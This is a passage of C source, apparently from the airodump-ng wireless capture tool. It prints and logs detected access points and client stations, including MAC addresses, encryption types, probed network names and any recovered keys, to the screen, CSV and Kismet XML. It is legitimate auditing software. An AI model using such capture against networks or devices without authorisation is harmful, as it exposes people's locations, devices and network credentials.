ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); len = strlen(strbuf); if(G.singlechan) { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->rx_quality, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } else { snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %8ld %8ld %4d", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data, ap_cur->nb_dataps ); } len = strlen(strbuf); snprintf( strbuf+len, sizeof(strbuf)-len, " %3d %3d%c%c ", ap_cur->channel, ap_cur->max_speed, ( ap_cur->security & STD_QOS ) ? 'e' : ' ', ( ap_cur->preamble ) ? '.' : ' '); len = strlen(strbuf); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) snprintf( strbuf+len, sizeof(strbuf)-len, " " ); else if( ap_cur->security & STD_WPA2 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA2" ); else if( ap_cur->security & STD_WPA ) snprintf( strbuf+len, sizeof(strbuf)-len, "WPA " ); else if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP " ); else if( ap_cur->security & STD_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN " ); strncat( strbuf, " ", sizeof(strbuf) - strlen(strbuf) - 1); len = strlen(strbuf); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & ENC_CCMP ) snprintf( strbuf+len, sizeof(strbuf)-len, "CCMP "); else if( ap_cur->security & ENC_WRAP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WRAP "); else if( ap_cur->security & ENC_TKIP ) snprintf( strbuf+len, sizeof(strbuf)-len, "TKIP "); else if( ap_cur->security & ENC_WEP104 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP104 "); else if( ap_cur->security & ENC_WEP40 ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP40 "); else if( ap_cur->security & ENC_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "WEP "); len = strlen(strbuf); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) snprintf( strbuf+len, sizeof(strbuf)-len, " "); else if( ap_cur->security & AUTH_MGT ) snprintf( strbuf+len, sizeof(strbuf)-len, "MGT"); else if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) snprintf( strbuf+len, sizeof(strbuf)-len, "SKA"); else snprintf( strbuf+len, sizeof(strbuf)-len, "PSK"); } else if( ap_cur->security & AUTH_OPN ) snprintf( strbuf+len, sizeof(strbuf)-len, "OPN"); len = strlen(strbuf); if (G.show_uptime) { snprintf(strbuf+len, sizeof(strbuf)-len, " %14s", parse_timestamp(ap_cur->timestamp)); len = strlen(strbuf); } strbuf[ws_col-1] = '\0'; if(G.selection_ap && ((num_ap) == G.selected_ap)) { if(G.mark_cur_ap) { if(ap_cur->marked == 0) { ap_cur->marked = 1; } else { ap_cur->marked_color++; if(ap_cur->marked_color > (TEXT_MAX_COLOR-1)) { ap_cur->marked_color = 1; ap_cur->marked = 0; } } G.mark_cur_ap = 0; } textstyle(TEXT_REVERSE); memcpy(G.selected_bssid, ap_cur->bssid, 6); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } fprintf(stderr, "%s", strbuf); if( ws_col > (columns_ap - 4) ) { memset( strbuf, 0, sizeof( strbuf ) ); if(ap_cur->essid[0] != 0x00) { snprintf( strbuf, sizeof( strbuf ) - 1, "%s", ap_cur->essid ); } else { snprintf( strbuf, sizeof( strbuf ) - 1, "<length:%3d>%s", ap_cur->ssid_length, "\x00" ); } if (G.show_manufacturer) { if (G.maxsize_essid_seen <= strlen(strbuf)) G.maxsize_essid_seen = strlen(strbuf); else // write spaces (32) memset( strbuf+strlen(strbuf), 32, (G.maxsize_essid_seen - strlen(strbuf)) ); if (ap_cur->manuf == NULL) ap_cur->manuf = get_manufacturer(ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2]); snprintf( strbuf + G.maxsize_essid_seen , sizeof(strbuf)-G.maxsize_essid_seen, " %s", ap_cur->manuf ); } // write spaces (32) until the end of column memset( strbuf+strlen(strbuf), 32, ws_col - (columns_ap - 4 ) ); // end the string at the end of the column strbuf[ws_col - (columns_ap - 4)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); if( (G.selection_ap && ((num_ap) == G.selected_ap)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } /* print some informations about each detected station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); } if(G.show_sta) { memcpy( strbuf, " BSSID STATION " " PWR Rate Lost Frames Probes", columns_sta ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } // Don't filter unassociated clients by ESSID if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } if( nlines >= (ws_row-1) ) return; st_cur = G.st_end; if(G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) { textstyle(TEXT_REVERSE); } if(ap_cur->marked) { textcolor_fg(ap_cur->marked_color); } while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; if(G.start_print_sta > num_sta) continue; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( stderr, " (not associated) " ); else fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); fprintf( stderr, " %3d ", st_cur->power ); fprintf( stderr, " %2d", st_cur->rate_to/1000000 ); fprintf( stderr, "%c", (st_cur->qos_fr_ds) ? 'e' : ' '); fprintf( stderr, "-%2d", st_cur->rate_from/1000000); fprintf( stderr, "%c", (st_cur->qos_to_ds) ? 'e' : ' '); fprintf( stderr, " %4d", st_cur->missed ); fprintf( stderr, " %8ld", st_cur->nb_pkt ); if( ws_col > (columns_sta - 6) ) { memset( ssid_list, 0, sizeof( ssid_list ) ); for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->probes[i][0] == '\0' ) continue; snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1, "%c%s", ( i > 0 ) ? ',' : ' ', st_cur->probes[i] ); n += ( 1 + strlen( st_cur->probes[i] ) ); if( n >= (int) sizeof( ssid_list ) ) break; } memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "%-256s", ssid_list ); strbuf[ws_col - (columns_sta - 6)] = '\0'; fprintf( stderr, " %s", strbuf ); } fprintf( stderr, "\n" ); st_cur = st_cur->prev; } if( (G.selection_ap && (memcmp(G.selected_bssid, ap_cur->bssid, 6)==0)) || (ap_cur->marked) ) { textstyle(TEXT_RESET); } ap_cur = ap_cur->prev; } } if(G.show_ack) { /* print some informations about each unknown station */ nlines += 3; if( nlines >= (ws_row-1) ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memcpy( strbuf, " MAC " " CH PWR ACK ACK/s CTS RTS_RX RTS_TX OTHER", columns_na ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); na_cur = G.na_1st; while( na_cur != NULL ) { if( time( NULL ) - na_cur->tlast > 120 ) { na_cur = na_cur->next; continue; } if( nlines >= (ws_row-1) ) return; nlines++; if( ws_row != 0 && nlines >= ws_row ) return; fprintf( stderr, " %02X:%02X:%02X:%02X:%02X:%02X", na_cur->namac[0], na_cur->namac[1], na_cur->namac[2], na_cur->namac[3], na_cur->namac[4], na_cur->namac[5] ); fprintf( stderr, " %3d", na_cur->channel ); fprintf( stderr, " %3d", na_cur->power ); fprintf( stderr, " %6d", na_cur->ack ); fprintf( stderr, " %4d", na_cur->ackps ); fprintf( stderr, " %6d", na_cur->cts ); fprintf( stderr, " %6d", na_cur->rts_r ); fprintf( stderr, " %6d", na_cur->rts_t ); fprintf( stderr, " %6d", na_cur->other ); fprintf( stderr, "\n" ); na_cur = na_cur->next; } } } int dump_write_csv( void ) { int i, j, n; struct tm *ltime; char ssid_list[512]; struct AP_info *ap_cur; struct ST_info *st_cur; if (! G.record_data || !G.output_format_csv) return 0; fseek( G.f_txt, 0, SEEK_SET ); fprintf( G.f_txt, "\r\nBSSID, First time seen, Last time seen, channel, Speed, " "Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key\r\n" ); ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2) { ap_cur = ap_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); ltime = localtime( &ap_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &ap_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%2d, %3d, ", ap_cur->channel, ap_cur->max_speed ); if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) == 0) fprintf( G.f_txt, " " ); else { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_txt, "WPA2" ); if( ap_cur->security & STD_WPA ) fprintf( G.f_txt, "WPA " ); if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, "WEP " ); if( ap_cur->security & STD_OPN ) fprintf( G.f_txt, "OPN " ); } fprintf( G.f_txt, ","); if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_txt, " CCMP"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_txt, " WRAP"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_txt, " TKIP"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_txt, " WEP104"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_txt, " WEP40"); if( ap_cur->security & ENC_WEP ) fprintf( G.f_txt, " WEP"); } fprintf( G.f_txt, ","); if( (ap_cur->security & (AUTH_OPN|AUTH_PSK|AUTH_MGT)) == 0 ) fprintf( G.f_txt, " "); else { if( ap_cur->security & AUTH_MGT ) fprintf( G.f_txt, " MGT"); if( ap_cur->security & AUTH_PSK ) { if( ap_cur->security & STD_WEP ) fprintf( G.f_txt, "SKA"); else fprintf( G.f_txt, "PSK"); } if( ap_cur->security & AUTH_OPN ) fprintf( G.f_txt, " OPN"); } fprintf( G.f_txt, ", %3d, %8ld, %8ld, ", ap_cur->avg_power, ap_cur->nb_bcn, ap_cur->nb_data ); fprintf( G.f_txt, "%3d.%3d.%3d.%3d, ", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_txt, "%3d, ", ap_cur->ssid_length); for(i=0; i<ap_cur->ssid_length; i++) { fprintf( G.f_txt, "%c", ap_cur->essid[i] ); } fprintf( G.f_txt, ", " ); if(ap_cur->key != NULL) { for(i=0; i<(int)strlen(ap_cur->key); i++) { fprintf( G.f_txt, "%02X", ap_cur->key[i]); if(i<(int)(strlen(ap_cur->key)-1)) fprintf( G.f_txt, ":"); } } fprintf( G.f_txt, "\r\n"); ap_cur = ap_cur->next; } fprintf( G.f_txt, "\r\nStation MAC, First time seen, Last time seen, " "Power, # packets, BSSID, Probed ESSIDs\r\n" ); st_cur = G.st_1st; while( st_cur != NULL ) { ap_cur = st_cur->base; if( ap_cur->nb_pkt < 2 ) { st_cur = st_cur->next; continue; } fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X, ", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); ltime = localtime( &st_cur->tinit ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); ltime = localtime( &st_cur->tlast ); fprintf( G.f_txt, "%04d-%02d-%02d %02d:%02d:%02d, ", 1900 + ltime->tm_year, 1 + ltime->tm_mon, ltime->tm_mday, ltime->tm_hour, ltime->tm_min, ltime->tm_sec ); fprintf( G.f_txt, "%3d, %8ld, ", st_cur->power, st_cur->nb_pkt ); if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) ) fprintf( G.f_txt, "(not associated) ," ); else fprintf( G.f_txt, "%02X:%02X:%02X:%02X:%02X:%02X,", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); memset( ssid_list, 0, sizeof( ssid_list ) ); for( i = 0, n = 0; i < NB_PRB; i++ ) { if( st_cur->probes[i][0] == '\0' ) continue; snprintf( ssid_list + n, sizeof( ssid_list ) - n - 1, "%c", ( i > 0 ) ? ',' : ' ' ); for(j=0; j<st_cur->ssid_length[i]; j++) { snprintf( ssid_list + n + 1 + j, sizeof( ssid_list ) - n - 2 - j, "%c", st_cur->probes[i][j]); } n += ( 1 + st_cur->ssid_length[i] ); if( n >= (int) sizeof( ssid_list ) ) break; } fprintf( G.f_txt, "%s\r\n", ssid_list ); st_cur = st_cur->next; } fprintf( G.f_txt, "\r\n" ); fflush( G.f_txt ); return 0; } char * sanitize_xml(unsigned char * text, int length) { int i; size_t len; unsigned char * pos; char * newpos; char * newtext = NULL; if (text != NULL && length > 0) { len = 6 * length; newtext = (char *)calloc(1, (len + 1) * sizeof(char)); // Make sure we have enough space pos = text; for (i = 0; i < length; ++i, ++pos) { switch (*pos) { case '&': strncat(newtext, "&amp;", len); break; case '<': strncat(newtext, "&lt;", len); break; case '>': strncat(newtext, "&gt;", len); break; case '\'': strncat(newtext, "&apos;", len); break; case '"': strncat(newtext, "&quot;", len); break; default: if ( isprint((int)(*pos)) || (*pos)>127 ) { newtext[strlen(newtext)] = *pos; } else { newtext[strlen(newtext)] = '\\'; newpos = newtext + strlen(newtext); snprintf(newpos, strlen(newpos) + 1, "%3u", *pos); } break; } } newtext = (char *) realloc(newtext, strlen(newtext) + 1); } return newtext; } #define OUI_STR_SIZE 8 #define MANUF_SIZE 128 char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2) { static char * oui_location = NULL; char oui[OUI_STR_SIZE + 1]; char *manuf; //char *buffer_manuf; char * manuf_str; struct oui *ptr; FILE *fp; char buffer[BUFSIZ]; char temp[OUI_STR_SIZE + 1]; unsigned char a[2]; unsigned char b[2]; unsigned char c[2]; int found = 0; if ((manuf = (char *)calloc(1, MANUF_SIZE * sizeof(char))) == NULL) { perror("calloc failed"); return NULL; } snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2 ); if (G.manufList != NULL) { // Search in the list ptr = G.manufList; while (ptr != NULL) { found = ! strncasecmp(ptr->id, oui, OUI_STR_SIZE); if (found) { memcpy(manuf, ptr->manuf, MANUF_SIZE); break; } ptr = ptr->next; } } else { // If the file exist, then query it each time we need to get a manufacturer. if (oui_location == NULL) { fp = fopen(OUI_PATH0, "r"); if (fp == NULL) { fp = fopen(OUI_PATH1, "r"); if (fp == NULL) { fp = fopen(OUI_PATH2, "r"); if (fp != NULL) { oui_location = OUI_PATH2; } } else { oui_location = OUI_PATH1; } } else { oui_location = OUI_PATH0; } } else { fp = fopen(oui_location, "r"); } if (fp != NULL) { memset(buffer, 0x00, sizeof(buffer)); while (fgets(buffer, sizeof(buffer), fp) != NULL) { if (strstr(buffer, "(hex)") == NULL) { continue; } memset(a, 0x00, sizeof(a)); memset(b, 0x00, sizeof(b)); memset(c, 0x00, sizeof(c)); if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3) { snprintf(temp, sizeof(temp), "%c%c:%c%c:%c%c", a[0], a[1], b[0], b[1], c[0], c[1] ); found = !memcmp(temp, oui, strlen(oui)); if (found) { manuf_str = get_manufacturer_from_string(buffer); if (manuf_str != NULL) { snprintf(manuf, MANUF_SIZE, "%s", manuf_str); free(manuf_str); } break; } } memset(buffer, 0x00, sizeof(buffer)); } fclose(fp); } } // Not found, use "Unknown". if (!found || *manuf == '\0') { memcpy(manuf, "Unknown", 7); manuf[strlen(manuf)] = '\0'; } manuf = (char *)realloc(manuf, (strlen(manuf) + 1) * sizeof(char)); return manuf; } #undef OUI_STR_SIZE #undef MANUF_SIZE #define KISMET_NETXML_HEADER_BEGIN "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE detection-run SYSTEM \"http://kismetwireless.net/kismet-3.1.0.dtd\">\n\n<detection-run kismet-version=\"airodump-ng-1.0\" start-time=\"" #define KISMET_NETXML_HEADER_END "\">\n\n" #define KISMET_NETXML_TRAILER "</detection-run>" #define TIME_STR_LENGTH 255 int dump_write_kismet_netxml( void ) { int network_number, average_power, client_nbr; int client_max_rate, unused; struct AP_info *ap_cur; struct ST_info *st_cur; char first_time[TIME_STR_LENGTH]; char last_time[TIME_STR_LENGTH]; char * manuf; char * essid = NULL; if (! G.record_data || !G.output_format_kismet_netxml) return 0; fseek( G.f_kis_xml, 0, SEEK_SET ); /* Header and airodump-ng start time */ fprintf( G.f_kis_xml, "%s%s%s", KISMET_NETXML_HEADER_BEGIN, G.airodump_start_time, KISMET_NETXML_HEADER_END ); ap_cur = G.ap_1st; network_number = 0; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2 /* XXX: Maybe this last check should be removed */ ) { ap_cur = ap_cur->next; continue; } ++network_number; // Network Number strncpy(first_time, ctime(&ap_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&ap_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t<wireless-network number=\"%d\" type=\"infrastructure\" ", network_number); fprintf(G.f_kis_xml, "first-time=\"%s\" last-time=\"%s\">\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n", first_time, last_time); fprintf(G.f_kis_xml, "\t\t\t<type>Beacon</type>\n" ); fprintf(G.f_kis_xml, "\t\t\t<max-rate>%d.000000</max-rate>\n", ap_cur->max_speed ); fprintf(G.f_kis_xml, "\t\t\t<packets>%ld</packets>\n", ap_cur->nb_bcn ); fprintf(G.f_kis_xml, "\t\t\t<beaconrate>%d</beaconrate>\n", 10 ); fprintf(G.f_kis_xml, "\t\t\t<encryption>"); //Encryption if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0) { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis_xml, "WPA2 " ); if( ap_cur->security & STD_WPA ) fprintf( G.f_kis_xml, "WPA " ); if( ap_cur->security & STD_WEP ) fprintf( G.f_kis_xml, "WEP " ); if( ap_cur->security & STD_OPN ) fprintf( G.f_kis_xml, "OPN " ); } if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) != 0 ) { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis_xml, "AES-CCM "); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis_xml, "WRAP "); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis_xml, "TKIP "); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis_xml, "WEP104 "); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis_xml, "WEP40 "); /* if( ap_cur->security & ENC_WEP ) fprintf( G.f_kis_xml, "WEP ");*/ } fprintf(G.f_kis_xml, "</encryption>\n"); /* ESSID */ fprintf(G.f_kis_xml, "\t\t\t<essid cloaked=\"%s\">", (ap_cur->essid[0] == 0) ? "true" : "false"); essid = sanitize_xml(ap_cur->essid, ap_cur->ssid_length); if (essid != NULL) { fprintf(G.f_kis_xml, "%s", essid); free(essid); } fprintf(G.f_kis_xml, "</essid>\n"); /* End of SSID tag */ fprintf(G.f_kis_xml, "\t\t</SSID>\n"); /* BSSID */ fprintf( G.f_kis_xml, "\t\t<BSSID>%02X:%02X:%02X:%02X:%02X:%02X</BSSID>\n", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); /* Manufacturer, if set using standard oui list */ manuf = sanitize_xml((unsigned char *)ap_cur->manuf, strlen(ap_cur->manuf)); fprintf(G.f_kis_xml, "\t\t<manuf>%s</manuf>\n", (manuf != NULL) ? manuf : "Unknown"); free(manuf); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t<channel>%d</channel>\n", ap_cur->channel); /* Freq (in Mhz) and total number of packet on that frequency FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t<freqmhz>%d %ld</freqmhz>\n", getFrequencyFromChannel(ap_cur->channel), //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* XXX: What about 5.5Mbit */ fprintf(G.f_kis_xml, "\t\t<maxseenrate>%d</maxseenrate>\n", ap_cur->max_speed * 1000); /* Packets */ fprintf(G.f_kis_xml, "\t\t<packets>\n" "\t\t\t<LLC>%ld</LLC>\n" "\t\t\t<data>%ld</data>\n" "\t\t\t<crypt>0</crypt>\n" "\t\t\t<total>%ld</total>\n" "\t\t\t<fragments>0</fragments>\n" "\t\t\t<retries>0</retries>\n" "\t\t</packets>\n", ap_cur->nb_bcn, ap_cur->nb_data, //ap_cur->nb_data + ap_cur->nb_bcn ); ap_cur->nb_pkt ); /* * XXX: What does that field mean? Is it the total size of data? * It seems that 'd' is appended at the end for clients, why? */ fprintf(G.f_kis_xml, "\t\t<datasize>0</datasize>\n"); /* Client information */ st_cur = G.st_1st; client_nbr = 0; while ( st_cur != NULL ) { /* If not associated or Broadcast Mac, try next one */ if ( st_cur->base == NULL || memcmp( st_cur->stmac, BROADCAST, 6 ) == 0 ) { st_cur = st_cur->next; continue; } /* Compare BSSID */ if ( memcmp( st_cur->base->bssid, ap_cur->bssid, 6 ) != 0 ) { st_cur = st_cur->next; continue; } ++client_nbr; strncpy(first_time, ctime(&st_cur->tinit), TIME_STR_LENGTH - 1); first_time[strlen(first_time) - 1] = 0; // remove new line strncpy(last_time, ctime(&st_cur->tlast), TIME_STR_LENGTH - 1); last_time[strlen(last_time) - 1] = 0; // remove new line fprintf(G.f_kis_xml, "\t\t<wireless-client number=\"%d\" " "type=\"established\" first-time=\"%s\"" " last-time=\"%s\">\n", client_nbr, first_time, last_time ); fprintf( G.f_kis_xml, "\t\t\t<client-mac>%02X:%02X:%02X:%02X:%02X:%02X</client-mac>\n", st_cur->stmac[0], st_cur->stmac[1], st_cur->stmac[2], st_cur->stmac[3], st_cur->stmac[4], st_cur->stmac[5] ); /* Manufacturer, if set using standard oui list */ fprintf(G.f_kis_xml, "\t\t\t<client-manuf>%s</client-manuf>\n", (st_cur->manuf != NULL) ? st_cur->manuf : "Unknown"); /* Channel FIXME: Take G.freqoption in account */ fprintf(G.f_kis_xml, "\t\t\t<channel>%d</channel>\n", ap_cur->channel); /* Rate: unaccurate because it's the latest rate seen */ client_max_rate = ( st_cur->rate_from > st_cur->rate_to ) ? st_cur->rate_from : st_cur->rate_to ; fprintf(G.f_kis_xml, "\t\t\t<maxseenrate>%.6f</maxseenrate>\n", client_max_rate / 1000000.0 ); /* Packets */ fprintf(G.f_kis_xml, "\t\t\t<packets>\n" "\t\t\t\t<LLC>0</LLC>\n" "\t\t\t\t<data>0</data>\n" "\t\t\t\t<crypt>0</crypt>\n" "\t\t\t\t<total>%ld</total>\n" "\t\t\t\t<fragments>0</fragments>\n" "\t\t\t\t<retries>0</retries>\n" "\t\t\t</packets>\n", st_cur->nb_pkt ); /* SNR information */ average_power = (st_cur->power == -1) ? 0 : st_cur->power; fprintf(G.f_kis_xml, "\t\t\t<snr-info>\n" "\t\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n" "\t\t\t\t<last_noise_dbm>0</last_noise_dbm>\n" "\t\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n" "\t\t\t\t<last_noise_rssi>0</last_noise_rssi>\n" "\t\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n" "\t\t\t\t<min_noise_dbm>0</min_noise_dbm>\n" "\t\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n" "\t\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n" "\t\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n" "\t\t\t\t<max_noise_dbm>0</max_noise_dbm>\n" "\t\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n" "\t\t\t\t<max_noise_rssi>0</max_noise_rssi>\n" "\t\t\t</snr-info>\n", average_power, average_power, average_power, average_power, average_power ); /* GPS Coordinates XXX: We don't have GPS coordinates for clients */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t<gps-info>\n" "\t\t\t<min-lat>%.6f</min-lat>\n" "\t\t\t<min-lon>%.6f</min-lon>\n" "\t\t\t<min-alt>%.6f</min-alt>\n" "\t\t\t<min-spd>%.6f</min-spd>\n" "\t\t\t<max-lat>%.6f</max-lat>\n" "\t\t\t<max-lon>%.6f</max-lon>\n" "\t\t\t<max-alt>%.6f</max-alt>\n" "\t\t\t<max-spd>%.6f</max-spd>\n" "\t\t\t<peak-lat>%.6f</peak-lat>\n" "\t\t\t<peak-lon>%.6f</peak-lon>\n" "\t\t\t<peak-alt>%.6f</peak-alt>\n" "\t\t\t<avg-lat>%.6f</avg-lat>\n" "\t\t\t<avg-lon>%.6f</avg-lon>\n" "\t\t\t<avg-alt>%.6f</avg-alt>\n" "\t\t</gps-info>\n", 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 ); } /* Trailing information */ fprintf(G.f_kis_xml, "\t\t\t<cdp-device></cdp-device>\n" "\t\t\t<cdp-portid></cdp-portid>\n"); fprintf(G.f_kis_xml, "\t\t</wireless-client>\n" ); /* Next client */ st_cur = st_cur->next; } /* SNR information */ average_power = (ap_cur->avg_power == -1) ? 0 : ap_cur->avg_power; fprintf(G.f_kis_xml, "\t\t<snr-info>\n" "\t\t\t<last_signal_dbm>%d</last_signal_dbm>\n" "\t\t\t<last_noise_dbm>0</last_noise_dbm>\n" "\t\t\t<last_signal_rssi>%d</last_signal_rssi>\n" "\t\t\t<last_noise_rssi>0</last_noise_rssi>\n" "\t\t\t<min_signal_dbm>%d</min_signal_dbm>\n" "\t\t\t<min_noise_dbm>0</min_noise_dbm>\n" "\t\t\t<min_signal_rssi>1024</min_signal_rssi>\n" "\t\t\t<min_noise_rssi>1024</min_noise_rssi>\n" "\t\t\t<max_signal_dbm>%d</max_signal_dbm>\n" "\t\t\t<max_noise_dbm>0</max_noise_dbm>\n" "\t\t\t<max_signal_rssi>%d</max_signal_rssi>\n" "\t\t\t<max_noise_rssi>0</max_noise_rssi>\n" "\t\t</snr-info>\n", average_power, average_power, average_power, average_power, average_power ); /* 